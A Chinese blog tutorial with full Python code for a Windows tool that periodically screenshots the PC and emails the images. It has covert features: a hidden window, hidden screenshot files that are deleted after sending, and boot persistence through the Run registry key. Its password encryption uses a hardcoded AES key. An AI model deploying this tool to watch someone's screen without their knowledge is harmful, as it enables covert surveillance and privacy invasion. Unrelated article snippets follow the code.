一步到位:用Python实现PC屏幕截图并自动发送邮件,实现屏幕监控

在当前的数字化世界中,自动化已经成为我们日常生活和工作中的关键部分。它不仅提高了效率,还节省了大量的时间和精力。在这篇文章中,我们将探讨如何使用Python来实现一个特定的自动化任务 - PC屏幕截图自动发送到指定的邮箱。

这个任务可能看起来很复杂,但是通过Python,我们可以将其分解为几个简单的步骤并逐一实现。首先,我们需要一个能够捕获屏幕截图的工具。其次,我们需要一个能够发送电子邮件的服务。最后,我们需要将这两个步骤组合在一起,创建一个可以自动执行这些任务的脚本。

在本文中,我们将详细介绍这个过程,并提供相应的Python代码示例。无论你是Python初学者,还是寻求新的自动化项目的经验开发人员,都可以从中受益。让我们开始吧。

主要功能

1.通过使用pyautogui库来进行屏幕截图。

2.使用smtplib库来发送电子邮件,以将截图发送给收件人。

3.使用tkinter库创建一个简单的图形用户界面(GUI),用于配置应用程序的设置。

4.通过使用logging库来记录日志,将日志保存到文件中。

5.使用configparser库来读取和保存应用程序的配置设置。

6.实现了开机自动启动功能,可以将应用程序设置为开机自动启动。

7.实现了隐藏和显示应用程序窗口的功能。

8.收件邮箱默认等于发件邮箱。

此外,代码还实现了一些其他功能,如数据加密和解密、删除已发送的截图文件等。

应用程序在为用户提供一个便捷的方式来定时截图并将截图发送给指定的收件人,适用于需要定期截图的监控、远程监视等场景。用户可以通过图形界面设置截图的间隔时间、截图的次数、发件人和收件人的电子邮件地址等。

具体代码
  1. # coding=utf-8

  2. '''

  3. @Author : TesterRoad

  4. @Time : 2023/7/9 15:43

  5. @Desc : 用python实现PC屏幕截图自动发送邮箱

  6. @Software: PyCharm

  7. '''

  8. import smtplib

  9. import time

  10. import pyautogui

  11. from email.mime.multipart import MIMEMultipart

  12. from email.mime.image import MIMEImage

  13. from email.mime.text import MIMEText

  14. import logging

  15. import configparser

  16. import os

  17. import sys

  18. import ctypes

  19. from Crypto.Cipher import AES

  20. from Crypto.Util.Padding import pad, unpad

  21. import base64

  22. import tkinter as tk

  23. from tkinter import ttk

  24. import datetime

  25. import threading

  26. import winreg

  27. import glob

  28. KEY = b'MySuperSecretKey'

  29. def encrypt_data(data):

  30. cipher = AES.new(KEY, AES.MODE_CBC)

  31. ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))

  32. iv = base64.b64encode(cipher.iv).decode('utf-8')

  33. ct = base64.b64encode(ct_bytes).decode('utf-8')

  34. return iv + ct

  35. def decrypt_data(data):

  36. try:

  37. iv = base64.b64decode(data[:24])

  38. ct = base64.b64decode(data[24:])

  39. cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)

  40. pt = unpad(cipher.decrypt(ct), AES.block_size)

  41. return pt.decode('utf-8')

  42. except:

  43. return "Decryption Error!"

  44. class ScreenshotApp:

  45. def __init__(self):

  46. self.root = tk.Tk()

  47. self.root.title("Screen")

  48. self.config = configparser.ConfigParser()

  49. self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")

  50. if not os.path.exists(self.config_file):

  51. self.create_default_config()

  52. self.config.read(self.config_file) # 读取配置文件

  53. self.sender_email_label = ttk.Label(self.root, text="发件邮箱:")

  54. self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)

  55. self.sender_email_entry = ttk.Entry(self.root)

  56. self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)

  57. self.sender_password_label = ttk.Label(self.root, text="发件邮箱密码:")

  58. self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)

  59. self.sender_password_entry = ttk.Entry(self.root, show="*")

  60. self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)

  61. self.interval_label = ttk.Label(self.root, text="截图间隔时间:")

  62. self.interval_label.grid(row=2, column=0, padx=5, pady=5)

  63. self.interval_entry = ttk.Entry(self.root)

  64. self.interval_entry.grid(row=2, column=1, padx=5, pady=5)

  65. self.count_label = ttk.Label(self.root, text="发送截图数量:")

  66. self.count_label.grid(row=3, column=0, padx=5, pady=5)

  67. self.count_entry = ttk.Entry(self.root)

  68. self.count_entry.grid(row=3, column=1, padx=5, pady=5)

  69. self.start_button = ttk.Button(self.root, text="开始截图", command=self.start_screenshot)

  70. self.start_button.grid(row=4, column=0, padx=5, pady=5)

  71. self.stop_button = ttk.Button(self.root, text="停止截图", command=self.stop_screenshot)

  72. self.stop_button.grid(row=4, column=1, padx=5, pady=5)

  73. self.stop_button.configure(state="disabled")

  74. self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)

  75. self.save_button.grid(row=5, column=0, padx=5, pady=5)

  76. self.autostart_var = tk.BooleanVar()

  77. self.autostart_checkbutton = ttk.Checkbutton(self.root, text="开机自动启动", variable=self.autostart_var,

  78. command=self.save_settings)

  79. self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)

  80. self.toggle_visibility_button = ttk.Button(self.root, text="显示/隐藏", command=self.toggle_visibility)

  81. self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)

  82. # 创建日志记录器

  83. self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")

  84. self.logger = logging.getLogger("ScreenshotApp")

  85. self.logger.setLevel(logging.INFO)

  86. self.logger.addHandler(logging.FileHandler(self.log_file_path))

  87. self.screenshot_running = False

  88. self.screenshot_thread = None

  89. self.stop_event = threading.Event()

  90. # 初始化输入框的值

  91. self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))

  92. self.sender_password_entry.insert(0, self.get_decrypted_password())

  93. self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))

  94. self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))

  95. # 初始化开机自动启动选项

  96. self.autostart_var.set(self.is_autostart_enabled())

  97. self.root.protocol("WM_DELETE_WINDOW", self.on_close)

  98. self.root.bind("<F12>", self.toggle_visibility)

  99. # 初始化窗口可见性

  100. visibility = self.config.get("Settings", "visibility", fallback="visible")

  101. if visibility == "hidden":

  102. self.root.withdraw()

  103. if self.autostart_var.get():

  104. self.start_screenshot()

  105. self.root.mainloop()

  106. def on_close(self):

  107. self.stop_screenshot()

  108. self.save_settings()

  109. self.delete_screenshots()

  110. self.root.quit()

  111. def create_default_config(self):

  112. if not os.path.exists(self.config_file):

  113. self.config["Settings"] = {

  114. "sender_email": "",

  115. "sender_password": "",

  116. "interval": "",

  117. "count": "",

  118. "autostart": "False",

  119. "visibility": "visible"

  120. }

  121. config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")

  122. with open(config_file_path, "w") as configfile:

  123. self.config.write(configfile)

  124. def start_screenshot(self):

  125. interval_text = self.interval_entry.get()

  126. count_text = self.count_entry.get()

  127. if not interval_text or not count_text:

  128. self.logger.error("请提供Screen间隔时间和Screen次数")

  129. return

  130. try:

  131. interval = int(interval_text)

  132. count = int(count_text)

  133. except ValueError:

  134. self.logger.error("Screen间隔时间和Screen次数必须是有效的整数")

  135. return

  136. if not self.screenshot_running:

  137. sender_email = self.sender_email_entry.get()

  138. sender_password = self.sender_password_entry.get()

  139. interval = int(self.interval_entry.get())

  140. count = int(self.count_entry.get())

  141. receiver_email = sender_email # 收件邮箱地址默认等于发件邮箱地址

  142. self.logger.info("开始Screen")

  143. self.start_button.configure(state="disabled")

  144. self.stop_button.configure(state="normal")

  145. self.screenshot_running = True

  146. self.stop_event.clear()

  147. self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(

  148. receiver_email, sender_email, sender_password, interval, count))

  149. self.screenshot_thread.start()

  150. def stop_screenshot(self):

  151. if self.screenshot_running:

  152. self.screenshot_running = False

  153. self.stop_event.set()

  154. self.screenshot_thread.join()

  155. self.logger.info("停止Screen")

  156. self.start_button.configure(state="normal")

  157. self.stop_button.configure(state="disabled")

  158. def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):

  159. screenshot_count = 0

  160. screenshots = []

  161. # 获取用户主目录,并创建'Screenshots'文件夹

  162. user_dir = os.path.expanduser('~')

  163. screenshot_dir = os.path.join(user_dir, 'Screenshots')

  164. os.makedirs(screenshot_dir, exist_ok=True)

  165. # 在开始Screen前清空'Screenshots'文件夹

  166. self.delete_screenshots()

  167. while screenshot_count < count and not self.stop_event.is_set():

  168. try:

  169. # Screen

  170. screenshot = pyautogui.screenshot()

  171. # 生成文件名,格式为“Screen时间.png”

  172. current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")

  173. filename = f"Screen_{current_time}.png"

  174. # 保存Screen到'Screenshots'文件夹中

  175. screenshot_path = os.path.join(screenshot_dir, filename)

  176. screenshot.save(screenshot_path)

  177. screenshots.append(screenshot_path)

  178. screenshot_count += 1

  179. # 设置文件为隐藏

  180. FILE_ATTRIBUTE_HIDDEN = 0x02

  181. ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)

  182. self.logger.info(f"Screen成功: {screenshot_path}")

  183. if screenshot_count == count: # 达到指定Screen次数后发送Screen

  184. screenshot_count = 0

  185. self.send_email(receiver_email, sender_email, sender_password, screenshots)

  186. self.logger.info(f"Screen发送成功,共发送了 {len(screenshots)} 张Screen")

  187. self.delete_screenshots(screenshots)

  188. screenshots = [] # 清空已发送的Screen列表

  189. except Exception as e:

  190. self.logger.error(f"Screen失败: {str(e)}")

  191. time.sleep(interval)

  192. def send_email(self, receiver_email, sender_email, sender_password, filenames):

  193. msg = MIMEMultipart()

  194. msg["From"] = sender_email

  195. msg["To"] = receiver_email

  196. msg["Subject"] = "Screen"

  197. # 添加邮件正文

  198. msg.attach(MIMEText("请查看附件中的Screen。", "plain"))

  199. # 添加Screen作为附件

  200. for filename in filenames:

  201. with open(filename, "rb") as f:

  202. image = MIMEImage(f.read())

  203. image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))

  204. msg.attach(image)

  205. try:

  206. # 发送邮件

  207. with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:

  208. smtp.login(sender_email, sender_password)

  209. smtp.send_message(msg)

  210. self.logger.info(f"邮件发送成功,收件人: {receiver_email}")

  211. except Exception as e:

  212. self.logger.error(f"邮件发送失败: {str(e)}")

  213. def save_settings(self):

  214. self.config.set("Settings", "sender_email", self.sender_email_entry.get())

  215. self.config.set("Settings", "interval", self.interval_entry.get())

  216. self.config.set("Settings", "count", self.count_entry.get())

  217. self.config.set("Settings", "autostart", str(self.autostart_var.get()))

  218. visibility = "visible" if self.root.state() == "normal" else "hidden"

  219. self.config.set("Settings", "visibility", visibility)

  220. if self.sender_password_entry.get() != self.get_decrypted_password():

  221. encrypted_password = encrypt_data(self.sender_password_entry.get())

  222. self.config.set("Settings", "sender_password", encrypted_password)

  223. config_file_path = os.path.abspath(self.config_file)

  224. with open(config_file_path, "w") as configfile:

  225. self.config.write(configfile)

  226. self.logger.handlers.clear()

  227. self.logger.addHandler(logging.FileHandler(self.log_file_path))

  228. self.set_autostart(self.autostart_var.get())

  229. def delete_screenshots(self, filenames=None):

  230. # 获取'Screenshots'文件夹路径

  231. user_dir = os.path.expanduser('~')

  232. screenshot_dir = os.path.join(user_dir, 'Screenshots')

  233. if filenames is None:

  234. filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))

  235. for filename in filenames:

  236. try:

  237. os.remove(filename)

  238. self.logger.info(f"删除Screen: {filename}")

  239. except Exception as e:

  240. self.logger.error(f"删除Screen失败: {str(e)}")

  241. def get_decrypted_password(self):

  242. encrypted_password = self.config.get("Settings", "sender_password", fallback="")

  243. if encrypted_password:

  244. return decrypt_data(encrypted_password)

  245. else:

  246. return ""

  247. def toggle_visibility(self, event=None):

  248. if self.root.state() == "withdrawn":

  249. self.root.deiconify()

  250. else:

  251. self.root.withdraw()

  252. self.save_settings()

  253. def set_autostart(self, enabled):

  254. key = winreg.HKEY_CURRENT_USER

  255. run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"

  256. app_name = "Screen"

  257. app_path = sys.executable # 获取当前脚本的绝对路径

  258. try:

  259. with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:

  260. if enabled:

  261. winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)

  262. self.logger.info("已设置开机自动启动")

  263. else:

  264. winreg.DeleteValue(reg_key, app_name)

  265. self.logger.info("已取消开机自动启动")

  266. except FileNotFoundError as e:

  267. self.logger.error(f"找不到注册表路径: {str(e)}")

  268. except PermissionError as e:

  269. self.logger.error(f"没有足够的权限访问注册表: {str(e)}")

  270. except Exception as e:

  271. self.logger.error(f"设置开机自动启动失败: {str(e)}")

  272. def is_autostart_enabled(self):

  273. key = winreg.HKEY_CURRENT_USER

  274. run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"

  275. app_name = "Screen"

  276. app_path = sys.executable # 获取当前脚本的绝对路径

  277. try:

  278. with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:

  279. try:

  280. value, value_type = winreg.QueryValueEx(reg_key, app_name)

  281. return value == app_path

  282. except FileNotFoundError:

  283. return False

  284. except FileNotFoundError as e:

  285. self.logger.error(f"找不到注册表路径: {str(e)}")

  286. except PermissionError as e:

  287. self.logger.error(f"没有足够的权限访问注册表: {str(e)}")

  288. except Exception as e:

  289. self.logger.error(f"读取开机自动启动设置失败: {str(e)}")

  290. return False

  291. if __name__ == "__main__":

  292. app = ScreenshotApp()

打开CMD,输入python ScreenCaptureSendEmail.py

图片

我们输入发件邮箱,发件邮箱密码(QQ邮箱则是授权码),截图间隔时间,发送截图数量,然后点击开始截图,稍后我们会收到一封QQ邮件

如下图所示

图片

图片

在本文中,我们详细讨论了如何使用Python实现PC屏幕截图并自动发送至邮箱的功能。我们探讨了相关库的使用。并通过编写实际的代码,我们一步步演示了如何将这些功能整合在一起。希望这篇文章能够帮助你在自动化处理任务、提高工作效率方面取得进步。如果你在实践过程中遇到任何问题,或者有任何建议,欢迎随时与我交流。记住,编程就是解决问题的艺术,不断学习和实践才能更好地掌握它。

总结:

感谢每一个认真阅读我文章的人!!!

作为一位过来人也是希望大家少走一些弯路,如果你不想再体验一次学习时找不到资料,没人解答问题,坚持几天便放弃的感受的话,在这里我给大家分享一些自动化测试的学习资源,希望能给你前进的路上带来帮助。

  1. 文档获取方式:

  2. 加入我的软件测试交流群:680748947免费获取~(同行大佬一起学术交流,每晚都有大佬直播分享技术知识点)

这份文档,对于想从事【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴我走过了最艰难的路程,希望也能帮助到你!

以上均可以分享,只需要你搜索vx公众号:程序员雨果,即可免费领取

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/481486.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

抢滩中东商机!2024年现在入局是否还为时不晚?

有人说&#xff0c;在2024年&#xff0c;做外贸工厂跨境电商的老板&#xff0c;想要翻身&#xff0c;甚至想改变命运&#xff0c;有两个路径&#xff0c;其中一个路径就是&#xff1a;做沙特电商。 入局中东电商好时机 经商环境好&#xff1a;欧美市场竞争激烈&#xff0c;进入…

第十四届蓝桥杯大赛软件赛省赛Java大学B组

最近正在备考蓝桥杯&#xff0c;报的java b组&#xff0c;顺便更一下蓝桥的 幸运数字 题目 思路&#xff1a;填空题&#xff0c;暴力即可 import java.util.Scanner; // 1:无需package // 2: 类名必须Main, 不可修改public class Main {static int trans(int x, int y){int …

【目标检测基础篇】目标检测评价指标:mAP计算的超详细举例分析以及coco数据集标准详解(AP/AP50/APsmall.....))

学习视频&#xff1a; 霹雳吧啦Wz-目标检测mAP计算以及coco评价标准 【目标检测】指标介绍&#xff1a;mAP 1 TP/FP/FN TP(True Positive) : IoU>0.5的检测框数量(同一Ground truth只计算一次)FP(False Positive) : IoU<0.5的检测框(或者是检测到同一个GT的多余检测框的…

nacos 更新报错“发布失败。请检查参数是否正确”

文章目录 &#x1f50a;博主介绍&#x1f964;本文内容起因解决方案结果 &#x1f4e2;文章总结&#x1f4e5;博主目标 &#x1f50a;博主介绍 &#x1f31f;我是廖志伟&#xff0c;一名Java开发工程师、Java领域优质创作者、CSDN博客专家、51CTO专家博主、阿里云专家博主、清华…

FL Studio2024全能数字编曲音频工作站,打造专业电音的不二之选!

FL Studio2024全能数字编曲音频工作站&#xff0c;打造专业电音的不二之选&#xff01; 专业机构力荐&#xff0c;让你的音乐创作如虎添翼 在音乐的世界里&#xff0c;没有什么比创作出属于自己的独特旋律更令人兴奋的了。 而今天&#xff0c;我们为你带来了一款能够让音乐制作…

Hive SQL必刷练习题:排列组合问题【通过join不等式】

排列组合问题【通过join不等式】 这种问题&#xff0c;就是数学的排列不等式&#xff0c;一个队伍只能和其余队伍比一次&#xff0c;不能重复 方法1&#xff1a;可以直接通过join&#xff0c;最后on是一个不等式【排列组合问题的解决方式】 方法2&#xff1a;也可以是提前多加…

PDF文件如何以数字进行批量重命名?以数字重命名的PDF文件

在日常生活和工作中&#xff0c;我们经常需要处理大量的PDF文件&#xff0c;如文档、报告、合同等。为了更高效地管理这些文件&#xff0c;一个有效的方式就是对它们进行批量命名。批量命名不仅能提高文件的组织性&#xff0c;还能节省大量时间。下面&#xff0c;我们将详细介绍…

springboot实现文件上传

SpringBoot默认静态资源访问方式 首先想到的就是可以通过SpringBoot通常访问静态资源的方式&#xff0c;当访问&#xff1a;项目根路径 / 静态文件名时&#xff0c;SpringBoot会依次去类路径下的四个静态资源目录下查找&#xff08;默认配置&#xff09;。 在资源文件resour…

关于调度算法,小林给出更好的例子(银行办理业务)

看的迷迷糊糊&#xff1f;那我拿去银行办业务的例子&#xff0c;把上面的调度算法串起来&#xff0c;你还不懂&#xff0c;你锤我&#xff01; 办理业务的客户相当于进程&#xff0c;银行窗口工作人员相当于 CPU。 现在&#xff0c;假设这个银行只有一个窗口&#xff08;单核 …

个人家庭安装光伏流程及注意事项

今年《政府工作报告》提出&#xff0c;推动分布式能源开发利用。这是“分布式能源”首次被写入《政府工作报告》。从地方层面来看&#xff0c;“分布式能源”也被多个地方列入今年的政府工作重点&#xff0c;可见光伏发展依旧强势。 光伏安装流程大概分为以下几步&#xff1a; …

【数据分析案列】--- 北京某平台二手房可视化数据分析

一、引言 本案列基于北京某平台的二手房数据&#xff0c;通过数据可视化的方式对二手房市场进行分析。通过对获取的数据进行清冼&#xff08;至关重要&#xff09;&#xff0c;对房屋价格、面积、有无电梯等因素的可视化展示&#xff0c;我们可以深入了解北京二手房市场的特点…

校招免费资料大集合

通过以下资料&#xff0c;你可以免费获取到大量的校招资料和相关信息&#xff0c;帮助你更好地准备校园招聘。 学习交流群&#xff1a;进行计算机知识分享和交流&#xff0c;提供内推机会&#xff0c;QQ群号&#xff1a;325280438 夏沫Coding&#xff1a;致力于分享计算机干货…

机器学习聚类分析算法之均值漂移算法

简介 均值漂移算法(Mean Shift Algorithm)是一种非参数化的聚类算法,常用于图像分割、目标跟踪和密度估计等任务。该算法基于密度估计的原理,通过不断地迭代更新数据点的位置,使得数据点向密度较高的区域移动,最终聚集成簇。均值漂移算法的核心思想是在数据点的特征空间…

SQL96 返回顾客名称和相关订单号(表的普通联结、内联结inner join..on..)

方法一&#xff1a;普通联结 select cust_name, order_num from Customers C,Orders O where C.cust_id O.cust_id order by cust_name,order_num;方法二&#xff1a;使用内连接 select cust_name,order_num from Customers C inner join Orders O on C.cust_id O.cust_id …

Jmeter-基础元件使用(二)-属性及对数据库简单操作

一、Jmeter属性 当我们想要在不同线程组中使用某变量&#xff0c;就需要使用属&#xff0c;此时Jmeter属性的设置需要函数来进行set和get操作 1.创建set函数 2.然后采用Beanshell取样器进行函数执行 3.调用全局变量pro_id 4.将上面生成的函数字符串粘贴到另一个线程组即可…

YOLOv8 | 注意力机制 | ShuffleAttention注意力机制 提升检测精度

YOLOv8成功添加ShuffleAttention ⭐欢迎大家订阅我的专栏一起学习⭐ &#x1f680;&#x1f680;&#x1f680;订阅专栏&#xff0c;更新及时查看不迷路&#x1f680;&#x1f680;&#x1f680; YOLOv5涨点专栏&#xff1a;http://t.csdnimg.cn/1Aqzu YOLOv8涨点专栏…

一键掌控:Shell脚本自动化安装与管理Conda环境的艺术

前面写了个博客《conda&#xff1a;解决多项目开发环境配置的神器&#xff01;》简单介绍了 Conda 的安装和基本命令&#xff0c;在做开发时经常会使用 Conda 建立多个应用环境&#xff0c;Conda 的命令虽不复杂&#xff0c;但还是有时会弄混&#xff0c;所以就考虑写个脚本&am…

分类预测 | Matlab实现PSO-KELM粒子群优化算法优化核极限学习机分类预测

分类预测 | Matlab实现PSO-KELM粒子群优化算法优化核极限学习机分类预测 目录 分类预测 | Matlab实现PSO-KELM粒子群优化算法优化核极限学习机分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.MATLAB实现PSO-KELM粒子群优化算法优化核极限学习机分类预测(完整源…

python3文件对象方法seek()心得

python3文件对象方法seek()心得 本文环境&#xff1a; Windows 10 专业版 64 位 Thonny 3.2.6 概述 python3中文件对象的方法 seek() 用于移动文件读写指针到指定位置。 语法 file_object.seek(offset[, whence]) 参数说明 file_object 是文件对象&#xff0c;通常是通…

论文阅读之PeriodicLoRA: Breaking the Low-Rank Bottleneck in LoRA Optimization(2024)

文章目录 论文地址主要内容主要贡献模型图技术细节实验结果 论文地址 PeriodicLoRA: Breaking the Low-Rank Bottleneck in LoRA Optimization 主要内容 这篇文章的主要内容是介绍了一种名为PeriodicLoRA&#xff08;PLoRA&#xff09;的参数高效微调&#xff08;Parameter-…